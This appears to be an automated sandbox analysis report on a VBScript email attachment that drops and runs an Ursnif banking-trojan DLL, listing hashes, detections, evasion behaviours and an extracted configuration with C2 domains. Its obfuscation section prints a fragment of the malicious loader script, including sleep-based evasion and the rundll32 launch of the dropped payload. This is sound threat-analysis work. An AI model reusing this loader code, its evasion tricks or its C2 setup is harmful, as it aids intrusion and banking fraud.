Analysis Report Attachment_32954.vbs

ID:	384531
Product:	CloudBasic
Start time:	11:43:12
Start date:	09.04.2021
Sample:	Attachment_32954.vbs
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	39eb3427fd329de93a19190d84273710
SHA1:	5d9009503b3500c0b6d35e272dd9160e9d873e46
SHA256:	adf9ca509037dc8ae4090fa9fa92c8eee621a9860a00da566b25643aa8689799

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Temp\Brewster.m4	ASCII text, with no line terminators	7D9E8C8A31E5DB74A019F387558C2FD7	9F8F21F043CB5CC1B5002F82A3CCD1083074B037	BF886F8F2A23CF7B8A25DF52438692C14D022409F1D930286ABA34528D64A608
C:\Users\user\AppData\Local\Temp\Rabin.dmg	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	B1FC7DC75445A016588402757FDD6FF6	12AA8A932E6711BECA796F67E717523D6794DE9E	94EB81BC58ADB976F21344D3EB273C9EB833AFBCADD121EB2AD38F1EF07A1F85
C:\Users\user\AppData\Local\Temp\adobe.url	MS Windows 95 Internet shortcut text (URL=<https://adobe.com/>), ASCII text, with CRLF line terminators	99D9EE4F5137B94435D9BF49726E3D7B	4AE65CB58C311B5D5D963334F1C30B0BD84AFC03	F5BC6CF90B739E9C70B6EA13F5445B270D8F5906E199270E22A2F685D989211E
C:\Users\user\AppData\Local\Temp\alleyway.xlsx	ASCII text, with no line terminators	77EC729601A3992F484FACC6097DEE11	417311EE6DC848D66E47B8E68B8F9C532AC5C79F	E0E14AAFC65AF3F390D75AFF8C88FBDF7A0BF133E9F12D17E5711F4045A5C9D5
C:\Users\user\AppData\Local\Temp\assai.zip	Zip archive data, at least v2.0 to extract	2E2BF9A0EB9139B28F959A6F17BD939B	BBF80A40979FF77ADB4B73DECEF9330B739BB90F	8D621174B93D66DF438F8D377D2147CF578F16949E12F1E10BA34A77385D5A7E
C:\Users\user\AppData\Local\Temp\hoydenish.org	ASCII text, with no line terminators	178F2DF82EACC4BFB097B53800DD1375	5111F35F8111DF87B683550680FA04B212BEA51C	2107126604B4344372E6F55EC1C5236390D69CD244AD4E1D4EDB8897EB3CC80F
C:\Users\user\AppData\Local\Temp\lowboy.less	ASCII text, with no line terminators	1D15F444BCF2648DC0721083FFF8D015	58FEB5CFC3AF7DC5BAA8E59737E7FF06953AE6F2	D5E8F55D13488EC247B6AA3DF73F58FDEB8B7B088ED880C1C4731DB360F76C29
C:\Users\user\AppData\Local\Temp\technic.deb	ASCII text, with no line terminators	F06DAE621E9DB556BF77FE26AEE12EE6	6F4F0CF969553AD4F74560B622AD500E62964B75	191D824852449377B2AF1880BB10BB9E3A2AC22113A1A4BA7CEF068432E3EF76

AV Detection:

Found malware configuration

Source: 20.2.rundll32.exe.48f94a0.3.raw.unpack

Malware Configuration Extractor: Ursnif [{"RSA Public Key": "Xbs4Yk4n2aUcz4nAfmYBHRwWIvRHnuvNCkzGzFhWDffWAD6kAaz2nCrF+u1fBJy8EZGc5Sx4iFpGkK2Uml3/gsvcGmjbZA/KVSRirY7ISIz8qSDXCl7R7DH3QGwTH7G685n2r1rm1yDtD6HT1if24i3j6DsMpQyEccHcvxhbfoMgObXp5CGN5OHsQ+ytis2D"}, {"c2_domain": ["api10.laptok.at/api1", "golang.feel500.at/api1", "go.in100k.at/api1"], "botnet": "2200", "server": "730", "serpent_key": "hPdaZZCB2qcI31br", "sleep_time": "10", "SetWaitableTimer_value": "1"}]

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Rabin.dmg	Virustotal: Detection: 50%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\Rabin.dmg	Metadefender: Detection: 25%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\Rabin.dmg	ReversingLabs: Detection: 72%

Multi AV Scanner detection for submitted file

Source: Attachment_32954.vbs	Virustotal: Detection: 36%			Perma Link
Source: Attachment_32954.vbs	Metadefender: Detection: 16%			Perma Link
Source: Attachment_32954.vbs	ReversingLabs: Detection: 31%

Compliance:

Binary contains paths to debug symbols

Source:

Binary string: c:\Poorplay\halfUs\BoardFamous\outexperience\us.pdb source: wscript.exe, 00000001.00000003.339767368.000001DAF14EF000.00000004.00000001.sdmp, rundll32.exe, 00000014.00000002.473616478.00000000702AD000.00000002.00020000.sdmp, Rabin.dmg.1.dr

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DC3512 Wow64EnableWow64FsRedirection,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,CloseHandle,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		20_2_00DC3512
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A088D FindFirstFileExW,		20_2_702A088D

Enumerates the file system

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local			Jump to behavior

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Source: Yara match	File source: 00000014.00000003.404725066.0000000000BC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 20.2.rundll32.exe.70250000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.rundll32.exe.bca25e.0.raw.unpack, type: UNPACKEDPE

E-Banking Fraud:

Yara detected Ursnif

Source: Yara match	File source: 00000014.00000003.404725066.0000000000BC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 20.2.rundll32.exe.70250000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.rundll32.exe.bca25e.0.raw.unpack, type: UNPACKEDPE

System Summary:

Contains functionality to call native functions

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_7025161B GetProcAddress,NtCreateSection,memset,		20_2_7025161B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702515D9 NtMapViewOfSection,		20_2_702515D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702523C5 NtQueryVirtualMemory,		20_2_702523C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DC11A9 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,		20_2_00DC11A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DCB159 NtQueryVirtualMemory,		20_2_00DCB159

Detected potential crypto function

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702521A4		20_2_702521A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DC28E9		20_2_00DC28E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DCAF34		20_2_00DCAF34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A466E		20_2_702A466E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70290FE0		20_2_70290FE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A7120		20_2_702A7120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_7029BA3F		20_2_7029BA3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702AA29E		20_2_702AA29E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702AA3BE		20_2_702AA3BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A75B8		20_2_702A75B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_7029B7DA		20_2_7029B7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702AB7DF		20_2_702AB7DF

Dropped file seen in connection with other malware

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\Rabin.dmg 94EB81BC58ADB976F21344D3EB273C9EB833AFBCADD121EB2AD38F1EF07A1F85

Found potential string decryption / allocating functions

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 70294250 appears 39 times

Java / VBScript file with very long strings (likely obfuscated code)

Source: Attachment_32954.vbs

Initial sample: Strings found which are bigger than 50

PE file has an executable .text section which is very likely to contain packed code (zlib compression ratio < 0.3)

Source: Rabin.dmg.1.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Classification label

Source: classification engine

Classification label: mal92.troj.evad.winVBS@5/8@0/0

Contains functionality to enum processes or threads

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 20_2_00DC31DD CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

20_2_00DC31DD

Creates temporary files

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\adobe.url

Jump to behavior

Executes visual basic scripts

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Attachment_32954.vbs'

Reads ini files

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Runs a DLL by calling functions

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\Rabin.dmg,DllRegisterServer

Sample is known by Antivirus

Source: Attachment_32954.vbs	Virustotal: Detection: 36%
Source: Attachment_32954.vbs	Metadefender: Detection: 16%
Source: Attachment_32954.vbs	ReversingLabs: Detection: 31%

Spawns processes

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Attachment_32954.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\Rabin.dmg,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\Rabin.dmg,DllRegisterServer
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\Rabin.dmg,DllRegisterServer			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\Rabin.dmg,DllRegisterServer			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Submission file is bigger than most known malware samples

Source: Attachment_32954.vbs

Static file information: File size 1444626 > 1048576

Binary contains paths to debug symbols

Source:

Binary string: c:\Poorplay\halfUs\BoardFamous\outexperience\us.pdb source: wscript.exe, 00000001.00000003.339767368.000001DAF14EF000.00000004.00000001.sdmp, rundll32.exe, 00000014.00000002.473616478.00000000702AD000.00000002.00020000.sdmp, Rabin.dmg.1.dr

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Sleep 7000End With' pervasive glasswort corrector dinghy gander Oedipus mattress morrow Francis vibrato lawman Omaha pledge madstone grub ampersand heredity = 0REM age vex robe, maidservant midge presentation helm Klux racy Brahms judiciary, 1016749 barbarous recalcitrant grove = 1000Do While heredity < 100000000REM impetus Roth fudge souffle decorous Pravda inglorious calculate Paraguayan magnum repairmen Nassau If (heredity = 100000000) ThenWScript.Quit' KS decolletage Moiseyev nameable. Madeline Ellen script catastrophic hardwood Hankel tempest scriptural prime blab Hodges End IfIf (heredity = 5000000) Thengrove = grove + ((800 - 101.0) - ((66 + 3188.0) - 2655.0))End IfIf (heredity = 200) ThenExit DoEnd ifREM room Bohr. shard Germany nightmare standoff. 3540175 tetrahedron, 3863241 holler ailanthus spillover marriage stimulant lacrosse handicraftsman heredity = heredity + 1LoopREM shad eventide hour800 vicissitude Aeneas fledge reflectance bicep optimism enfant swirl, messieurs floorboard, Middletown Mira Ankara With WScript.Sleep 5000End WithEnd FunctionFunction hideout655()REM eyeball knack isomer chromatin Nassau692 Pangaea astonish. caliph, critic oedipal bravo If (InStr(WScript.ScriptName, "TESTING") > 0) ThenREM Iliad rennet manioc. visitor bootleg hart slaughterhouse, insurrect, 5691938 jejune clam exterior Rabin176 painstaking MsgBOX("RUN")Exit FunctionEnd Ifmoan("1")Set restaurant = CreateObject("WScript.Shell")restaurant.Run "rundll32" + " " + nepotism + "Rabin.dmg" + ",DllRegisterServer"prime623End FunctionFunction artful(dermatology, stagnant)Dim Byronic, deviateSet Byronic = CreateObject("Scripting.FileSystemObject")Set deviate = Byronic.CreateTextFile(dermatology, True)Dim pawpaw: pawpaw = (16 + (((78 + (-10.0)) - 36.0) + 252.0))Dim felsite506: felsite506 = (((54 + 4882.0) - (6837 - 1931.0)) + (-30.0))For Each soulful In stagnantREM Barr meteorite resonate cabdriver Lysenko sycophantic, 7200240 busywork tremendous facade xylophone locksmith inch RandomizeREM boggy255 tomography pander notebook. 7111724 contour strum period Reese Ouagadougou onrushing pathogenic fractionate = Int((pawpaw-felsite506+1)*Rnd+felsite506)If fractionate < (((90 + 1660.0) - (306 - 101.0)) - 1445.0) Thendeviate.WriteLine(soulful)ElseIf fractionate > (((73 - 20.0) + (31 + 3924.0)) - 3908.0) And fractionate < (((73 - 20.0) + (31 + 3924.0)) - 3908.0) Thendeviate.Write soulful + ":"Elsedeviate.Write soulfuldeviate.WriteBlankLines((((1304 - 545.0) - (27 + 8.0)) - 723.0))End IfNextdeviate.Close' baptism postdoctoral catalogue exclamatory layoff screenplay finny contact. linoleum Sagittarius downhill End FunctionFunction Gerhard()on error resume next' extensible Gibson spiderwort Datsun Barbara telemeter Costello Enoch. plume tribesmen jot sergeant mack Kirkland marriage649 Dim Aides: Set Aides = CreateObject("Scripting.FileSystemObject")' granular perspicacious Zanzibar indisposition oviform riverbank hasten. petunia kittenish tire gemsbok, 98142

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70252193 push ecx; ret		20_2_702521A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70252140 push ecx; ret		20_2_70252149
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DCABF0 push ecx; ret		20_2_00DCABF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DCAF23 push ecx; ret		20_2_00DCAF33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70264AB7 push ebx; ret		20_2_70264AB8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70265B21 push edi; ret		20_2_70265B3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70266BBB push ebx; retf		20_2_70266BBD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702ABF08 push ecx; ret		20_2_702ABF06

Persistence and Installation Behavior:

Drops PE files

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\Rabin.dmg

Jump to dropped file

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\Rabin.dmg

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Source: Yara match	File source: 00000014.00000003.404725066.0000000000BC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 20.2.rundll32.exe.70250000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.rundll32.exe.bca25e.0.raw.unpack, type: UNPACKEDPE

Deletes itself after installation

Source: C:\Windows\System32\wscript.exe

File deleted: c:\users\user\desktop\attachment_32954.vbs

Jump to behavior

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains capabilities to detect virtual machines

Source: C:\Windows\System32\wscript.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Found WSH timer for Javascript or VBS script (likely evasive script)

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\wscript.exe TID: 4120

Thread sleep time: -30000s >= -30000s

Jump to behavior

Checks the free space of harddrives

Source: C:\Windows\System32\wscript.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_00DC3512 Wow64EnableWow64FsRedirection,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,CloseHandle,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		20_2_00DC3512
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A088D FindFirstFileExW,		20_2_702A088D

Enumerates the file system

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local			Jump to behavior

Anti Debugging:

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 20_2_7029FAB7 IsDebuggerPresent,OutputDebugStringW,

20_2_7029FAB7

Contains functionality to read the PEB

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A0417 mov eax, dword ptr fs:[00000030h]		20_2_702A0417
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A045B mov eax, dword ptr fs:[00000030h]		20_2_702A045B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702A048C mov eax, dword ptr fs:[00000030h]		20_2_702A048C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70299DD7 mov eax, dword ptr fs:[00000030h]		20_2_70299DD7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702C204F mov eax, dword ptr fs:[00000030h]		20_2_702C204F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702C1C56 push dword ptr fs:[00000030h]		20_2_702C1C56
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_702C2390 mov eax, dword ptr fs:[00000030h]		20_2_702C2390

Contains functionality to register its own exception handler

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_7029400F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		20_2_7029400F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70294667 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		20_2_70294667
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 20_2_70299747 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		20_2_70299747

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: Rabin.dmg.1.dr

Jump to dropped file

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\Rabin.dmg,DllRegisterServer

Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: rundll32.exe, 00000014.00000002.470567376.0000000002FE0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000014.00000002.470567376.0000000002FE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000014.00000002.470567376.0000000002FE0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000014.00000002.470567376.0000000002FE0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 20_2_00DCA12A cpuid

20_2_00DCA12A

Contains functionality to query locales information (e.g. system language)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,		20_2_7025111B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,		20_2_7029D950
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,		20_2_702A4BBD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesEx,		20_2_7029D7FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		20_2_702A5223
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,		20_2_702A5349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		20_2_7029D3D7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,		20_2_702A544F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		20_2_702A551E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		20_2_702A4E5F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		20_2_702A4EAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,		20_2_702A4F45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,		20_2_702A4FD0

Queries the installation date of Windows

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\assai.zip VolumeInformation			Jump to behavior

Contains functionality to query local / system time

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 20_2_7025116D GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

20_2_7025116D

Contains functionality to query the account / user name

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 20_2_00DCA12A wsprintfA,RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

20_2_00DCA12A

Contains functionality to query windows version

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 20_2_70251756 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

20_2_70251756

Queries the cryptographic machine GUID

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ursnif

Source: Yara match	File source: 00000014.00000003.404725066.0000000000BC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 20.2.rundll32.exe.70250000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.rundll32.exe.bca25e.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Ursnif

Source: Yara match	File source: 00000014.00000003.404725066.0000000000BC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 20.2.rundll32.exe.70250000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.rundll32.exe.bca25e.0.raw.unpack, type: UNPACKEDPE